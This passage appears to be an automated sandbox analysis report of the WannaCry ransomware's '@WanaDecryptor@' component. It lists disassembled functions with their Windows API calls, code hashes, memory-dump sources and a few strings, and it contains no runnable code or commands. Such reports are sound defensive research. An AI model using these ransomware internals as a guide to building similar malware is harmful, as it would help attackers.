                                        • Opcode ID: 6530db1bbd0e405eb5314e304be7278bbea559453e8c1a2ce06ca27fee27d17e
                                        • Instruction ID: 8222d1989983ac506c5d09346421d66fb4ae1402eeff5ebed15e971907ed65db
                                        • Opcode Fuzzy Hash: 6530db1bbd0e405eb5314e304be7278bbea559453e8c1a2ce06ca27fee27d17e
                                        • Instruction Fuzzy Hash: 430169B1244B42CBD310CF19C580BDAFBE4FB84750F90892EE1AA9B741C3B864458B9A
                                        Function 00404C40 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34COMMON
                                        Download Yara Rule
                                        APIs
                                        • #324.MFC42(00000089,?,?,?,?,?,00413809,000000FF), ref: 00404C68
                                        • #540.MFC42(00000089,?,?,?,?,?,00413809,000000FF), ref: 00404C7A
                                        • #860.MFC42(00421798), ref: 00404CAD
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #324#540#860
                                        • String ID: 0ZA$DZA
                                        • API String ID: 1048258301-3838179817
                                        • Opcode ID: b0cfd1353d7ceadba60806c011dda0c8f49be3dfc720069eeb22ffbda53a051c
                                        • Instruction ID: 18ed51ee5778a88a9d54698e5e0d11c9dbfb79b85878934ba46accb8ddaa74ae
                                        • Opcode Fuzzy Hash: b0cfd1353d7ceadba60806c011dda0c8f49be3dfc720069eeb22ffbda53a051c
                                        • Instruction Fuzzy Hash: 880169B1644B50DBD311DF09D605BAABBE4FBD1B24F004A1EF1928B790C7BC95488BDA
                                        Function 00408B40 Relevance: 7.6, APIs: 5, Instructions: 75windowCOMMON
                                        Download Yara Rule
                                        APIs
                                        • BitBlt.GDI32(?,?,00000001,?,?,00000000,?,00000001,00CC0020), ref: 00408BA7
                                        • #5785.MFC42(?,?,?,?,?,?,?,?,?,?,0041407B,000000FF), ref: 00408BBA
                                        • #5785.MFC42(?,?,?,?,?,?,?,?,?,?,0041407B,000000FF), ref: 00408BC9
                                        • #2414.MFC42(?,?,?,?,?,?,?,?,0041407B,000000FF), ref: 00408BEA
                                        • #640.MFC42(?,?,?,?,?,?,?,?,0041407B,000000FF), ref: 00408BFF
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #5785$#2414#640
                                        • String ID:
                                        • API String ID: 2719443296-0
                                        • Opcode ID: 455b206eaea57f198628315411046c596a923de9ec41dd3bd07dbbe9fd6cacce
                                        • Instruction ID: 86c9330ab4234590f1f3c164cda9a19739b95e23c8a4d3600225c259667158ab
                                        • Opcode Fuzzy Hash: 455b206eaea57f198628315411046c596a923de9ec41dd3bd07dbbe9fd6cacce
                                        • Instruction Fuzzy Hash: E1215CB5200B419FC324DF1ACA44A67FBE8EB88710F008A1EF59697781D7B8F8458B65
                                        Function 00404530 Relevance: 7.6, APIs: 5, Instructions: 50COMMON
                                        Download Yara Rule
                                        APIs
                                        • #289.MFC42 ref: 0040455F
                                        • #5789.MFC42(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,004137C8), ref: 00404574
                                        • GetTextExtentPoint32A.GDI32(?,?,?,?), ref: 0040458D
                                        • #5789.MFC42(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004045A6
                                        • #613.MFC42 ref: 004045BB
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #5789$#289#613ExtentPoint32Text
                                        • String ID:
                                        • API String ID: 888490064-0
                                        • Opcode ID: a47064995aa8a6f4e8062305d7bd768f80382afea7fbb3e7ed5e4407e76e675d
                                        • Instruction ID: e6b376e8f5faa3704f84febb4d8b873e9abde4cd399f019e979504a664a0483f
                                        • Opcode Fuzzy Hash: a47064995aa8a6f4e8062305d7bd768f80382afea7fbb3e7ed5e4407e76e675d
                                        • Instruction Fuzzy Hash: C8119DB5108780AFC310DF18D980B97BBE8EB88714F044A1DF49293681C7B8A845CB22
                                        Function 00406CF0 Relevance: 7.5, APIs: 5, Instructions: 48windowCOMMON
                                        Download Yara Rule
                                        APIs
                                        • SendMessageA.USER32(?,00000445,00000000,04000000), ref: 00406D2C
                                        • #353.MFC42(?,00000000,?,?,?,?,?,?,?,?,?,?,776120C0), ref: 00406D39
                                        • SendMessageA.USER32 ref: 00406D69
                                        • #1979.MFC42 ref: 00406D6F
                                        • #665.MFC42 ref: 00406D87
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: MessageSend$#1979#353#665
                                        • String ID:
                                        • API String ID: 3794212480-0
                                        • Opcode ID: 3e8137c70926b1d8ee173e5193f7a8fccbc7f675bb9cd6243914618cf2aa9b36
                                        • Instruction ID: 970bbd2b9484f858b006173e4a833a93101fbe0026f1fdcd253c6fb41473c1ec
                                        • Opcode Fuzzy Hash: 3e8137c70926b1d8ee173e5193f7a8fccbc7f675bb9cd6243914618cf2aa9b36
                                        • Instruction Fuzzy Hash: EA1170B1244701AFD210EF15C942F9BB7E4BF94B14F504A1EF156A72C0C7B8A905CB5A
                                        Function 00407DB0 Relevance: 7.5, APIs: 5, Instructions: 42COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00401000: #324.MFC42(0000008D,?,?,?,?,?,?,00413458,000000FF), ref: 00401029
                                          • Part of subcall function 00401000: #567.MFC42(0000008D,?,?,?,?,?,?,00413458,000000FF), ref: 00401039
                                        • time.MSVCRT ref: 00407DEA
                                        • #2514.MFC42 ref: 00407E18
                                        • time.MSVCRT ref: 00407E2A
                                        • #765.MFC42 ref: 00407E49
                                        • #641.MFC42 ref: 00407E5D
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: time$#2514#324#567#641#765
                                        • String ID:
                                        • API String ID: 3372871541-0
                                        • Opcode ID: b8401119eccb86975bd1eb41a25b1802afd83000c8f18fd8393192857fb5272d
                                        • Instruction ID: 27345a9b2c1eb8b6f7bb2a745056f56b64ece2280f016bc8de7da71c9126f67a
                                        • Opcode Fuzzy Hash: b8401119eccb86975bd1eb41a25b1802afd83000c8f18fd8393192857fb5272d
                                        • Instruction Fuzzy Hash: 4C11AD70A097809FE320EF24CA41BDA77E0BB94714F40462EE589872D0EB786445CB97
                                        Function 004031A0 Relevance: 7.5, APIs: 5, Instructions: 40COMMON
                                        Download Yara Rule
                                        APIs
                                        • #2414.MFC42(?,?,?,?,?,?,?,00403188), ref: 004031DF
                                        • #2414.MFC42(?,?,?,?,?,?,?,00403188), ref: 00403201
                                        • #616.MFC42(?,?,?,?,?,?,?,00403188), ref: 00403217
                                        • #693.MFC42(?,?,?,?,?,?,?,00403188), ref: 00403224
                                        • #641.MFC42(?,?,?,?,?,?,?,00403188), ref: 00403233
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #2414$#616#641#693
                                        • String ID:
                                        • API String ID: 1164084425-0
                                        • Opcode ID: 34bc8b48edd82315a510377cde5f302579feb69e69f968417769f9718486fe20
                                        • Instruction ID: e1576da2e33af18b213473c47bce756763974573e8f92b07b932385a5cbbc76a
                                        • Opcode Fuzzy Hash: 34bc8b48edd82315a510377cde5f302579feb69e69f968417769f9718486fe20
                                        • Instruction Fuzzy Hash: FF112774108B82CAC300DF19C1413CAFBE8AFA5714F54891FE0A6972A2D7F851998BE6
                                        Function 00403AF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 132fileCOMMON
                                        Download Yara Rule
                                        APIs
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: fopen
                                        • String ID: f.wnry
                                        • API String ID: 1432627528-2448388194
                                        • Opcode ID: cf48eaa19fa84c87f31c2d63a6b3fa47abbd49c5c0666401f46844b5b3827a14
                                        • Instruction ID: 4eb239c0cb280e6f7c3b00bdc2b89ffa7a6027cf1f229c631d6900f059da94bf
                                        • Opcode Fuzzy Hash: cf48eaa19fa84c87f31c2d63a6b3fa47abbd49c5c0666401f46844b5b3827a14
                                        • Instruction Fuzzy Hash: CF410B311087415BE324DF3899417ABBBD4FB80321F144A3EF4E6B22C1DF789A088796
                                        Function 0040B6A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83fileCOMMON
                                        Download Yara Rule
                                        APIs
                                        • CreateDirectoryA.KERNEL32(?,00000000,?,770D3310,00000000,00000428), ref: 0040B6B4
                                        • DeleteFileA.KERNEL32(?), ref: 0040B6D9
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: CreateDeleteDirectoryFile
                                        • String ID: %s\%s
                                        • API String ID: 3195586388-4073750446
                                        • Opcode ID: 9867dcfa113bb228f6e7ce7fcc7c959ecb5fe08f48f21d4d20f526cefea80cd3
                                        • Instruction ID: 62764616b0dad41b6f02366a4e891bd604a257d4ac44bdf0c04ae484a2ff6343
                                        • Opcode Fuzzy Hash: 9867dcfa113bb228f6e7ce7fcc7c959ecb5fe08f48f21d4d20f526cefea80cd3
                                        • Instruction Fuzzy Hash: 2F2108B620435067D620AB65EC81AEB779CEBC4324F44082EFD1892242E77D661D82FA
                                        Function 0040D150 Relevance: 6.1, APIs: 4, Instructions: 122COMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: rand$srandtime
                                        • String ID:
                                        • API String ID: 1946231456-0
                                        • Opcode ID: aeda45b4266ec6acd211240a262b9f529a391165e32c1a7dc214254ed02393b1
                                        • Instruction ID: 99a3411600cb7ade80f66248b35b99165d2bae15bbb14ca3cd699ef114e4807e
                                        • Opcode Fuzzy Hash: aeda45b4266ec6acd211240a262b9f529a391165e32c1a7dc214254ed02393b1
                                        • Instruction Fuzzy Hash: 6E411231A083454BD314DE69D885BABFBD4AFD4710F04893EE885973C2DA78D94987E3
                                        Function 004108A0 Relevance: 6.1, APIs: 4, Instructions: 107fileCOMMON
                                        Download Yara Rule
                                        APIs
                                        • CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,FFFFFFFF,?,00000000,?,00411CAF,?,?,FFFFFFFF,?), ref: 004108FB
                                        • SetFilePointer.KERNEL32(?,00000000,00000000,00000001,FFFFFFFF,?,00000000,?,00411CAF,?,?,FFFFFFFF,?), ref: 0041092C
                                        • #823.MFC42(00000020,?,00411CAF,?,?,FFFFFFFF,?), ref: 0041093A
                                        • SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,?), ref: 004109A2
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: File$Pointer$#823Create
                                        • String ID:
                                        • API String ID: 3407337251-0
                                        • Opcode ID: 5b6d965423cb05d7ea7d52203198f533352c1688dc5c73679a86205e0e0c5deb
                                        • Instruction ID: 085c1855c78cd49c3d24b3d31d21a090ac304bae7dbf1d621fd5eca193cafac9
                                        • Opcode Fuzzy Hash: 5b6d965423cb05d7ea7d52203198f533352c1688dc5c73679a86205e0e0c5deb
                                        • Instruction Fuzzy Hash: BD31A3712943418FE331CF29E84179BBBE1AB85720F14891EE1D597781D3B6A4C8CBA6
                                        Function 00412250 Relevance: 6.1, APIs: 4, Instructions: 100COMMON
                                        Download Yara Rule
                                        APIs
                                        • GetFileAttributesA.KERNEL32(?,?,?), ref: 00412264
                                        • CreateDirectoryA.KERNEL32(?,00000000), ref: 00412272
                                        • GetFileAttributesA.KERNEL32(00000000), ref: 00412338
                                        • CreateDirectoryA.KERNEL32(?,00000000,?,?), ref: 0041234C
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: AttributesCreateDirectoryFile
                                        • String ID:
                                        • API String ID: 3401506121-0
                                        • Opcode ID: 5edde3796adf685aed60d110adb647f247c117a4bec97746d5288a2958dab9aa
                                        • Instruction ID: eaae320e7248a4b774ebe1124a4f316430e5356865ecc18a96ed259e18cc5035
                                        • Opcode Fuzzy Hash: 5edde3796adf685aed60d110adb647f247c117a4bec97746d5288a2958dab9aa
                                        • Instruction Fuzzy Hash: 6F310331204B0847C72889389D957FFBBC6ABD4320F544B3EF966C72C1DEB989588299
                                        Function 00406A00 Relevance: 6.1, APIs: 4, Instructions: 70COMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #3089$#4476
                                        • String ID:
                                        • API String ID: 2870283385-0
                                        • Opcode ID: 53d97fe879bd1ae3a70958cbaed72806608eb4448782c61a221ab90d014d582e
                                        • Instruction ID: 793279239b1821bde48ff71d8c5d322d7df26b5d288dea54ba4f6719e02562de
                                        • Opcode Fuzzy Hash: 53d97fe879bd1ae3a70958cbaed72806608eb4448782c61a221ab90d014d582e
                                        • Instruction Fuzzy Hash: D91181323012018BC624EA59D584D7FB3A9EF89321B15842FE947E7391CB39ACA19B95
                                        Function 0040D0A0 Relevance: 6.1, APIs: 4, Instructions: 64COMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: rand$srandtime
                                        • String ID:
                                        • API String ID: 1946231456-0
                                        • Opcode ID: bbdcb1e1a24d480e02c6f3989001f72fd3822a1270c55b374a5c1adf4e9cf230
                                        • Instruction ID: 418ba94e1263f5c278544cd72932f8c5cb06cad23ebf9749a5f73f3a0ac0752c
                                        • Opcode Fuzzy Hash: bbdcb1e1a24d480e02c6f3989001f72fd3822a1270c55b374a5c1adf4e9cf230
                                        • Instruction Fuzzy Hash: CB113D3164935106D3207A2A6C02BAFAB949FE1728F04493FE9D9962C2C46C894E83F7
                                        Function 00405180 Relevance: 6.1, APIs: 4, Instructions: 51COMMON
                                        Download Yara Rule
                                        APIs
                                        • _mbscmp.MSVCRT ref: 00405191
                                        • #860.MFC42(?), ref: 004051A1
                                        • RedrawWindow.USER32(?,00000000,00000000,00000121), ref: 004051DE
                                        • InvalidateRect.USER32(?,00000000,00000001), ref: 004051F2
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #860InvalidateRectRedrawWindow_mbscmp
                                        • String ID:
                                        • API String ID: 497622568-0
                                        • Opcode ID: 4aae586b1cfc2d6b37c47d983e66569639a31ec6a673fed4d94bf49cd6230326
                                        • Instruction ID: cf498a414c54833703d22adddad9dcc08bc55e2fe29af9a848031684a7c2f2b5
                                        • Opcode Fuzzy Hash: 4aae586b1cfc2d6b37c47d983e66569639a31ec6a673fed4d94bf49cd6230326
                                        • Instruction Fuzzy Hash: 7B01D871700B00A7D6209765DC59FDBB7E9EF98702F00442EF746EB2C0C675E4018B68
                                        Function 00412A00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 8c2876bc683c79bd0f77c5504c849a1db55fe951b0604bd7b402bcddc95cd4ad
                                        • Instruction ID: 94773d8abf21b8992377dbaff6472308c4204eb390e4227f2b12783aedecbb61
                                        • Opcode Fuzzy Hash: 8c2876bc683c79bd0f77c5504c849a1db55fe951b0604bd7b402bcddc95cd4ad
                                        • Instruction Fuzzy Hash: 070121B16016109BDA209F29EA417CBB3989F40354F08443BE545D7310F7F8E9E5CB99
                                        Function 0040DAD0 Relevance: 6.0, APIs: 4, Instructions: 45networkCOMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: closesocketsendsetsockoptshutdown
                                        • String ID:
                                        • API String ID: 4063721217-0
                                        • Opcode ID: b8ea9e4fb017428832e7fdcfab5aceec40e53c9ca13a03ff53aa9a0524c23656
                                        • Instruction ID: 511c5ca045328faec3d78f5435f76df0282562355462c5d2c83a81ecee0c9610
                                        • Opcode Fuzzy Hash: b8ea9e4fb017428832e7fdcfab5aceec40e53c9ca13a03ff53aa9a0524c23656
                                        • Instruction Fuzzy Hash: 9D014075200B40ABD3208B28C849B97B7A5AF89721F808B2CF6A9962D0D7B4A4088795
                                        Function 00404430 Relevance: 6.0, APIs: 4, Instructions: 44COMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #2379$CursorEventMouseTrack
                                        • String ID:
                                        • API String ID: 2186836335-0
                                        • Opcode ID: 8cae4badaefa13b91853eadf55a8840a780c3bb417d72a3b214d508dff938200
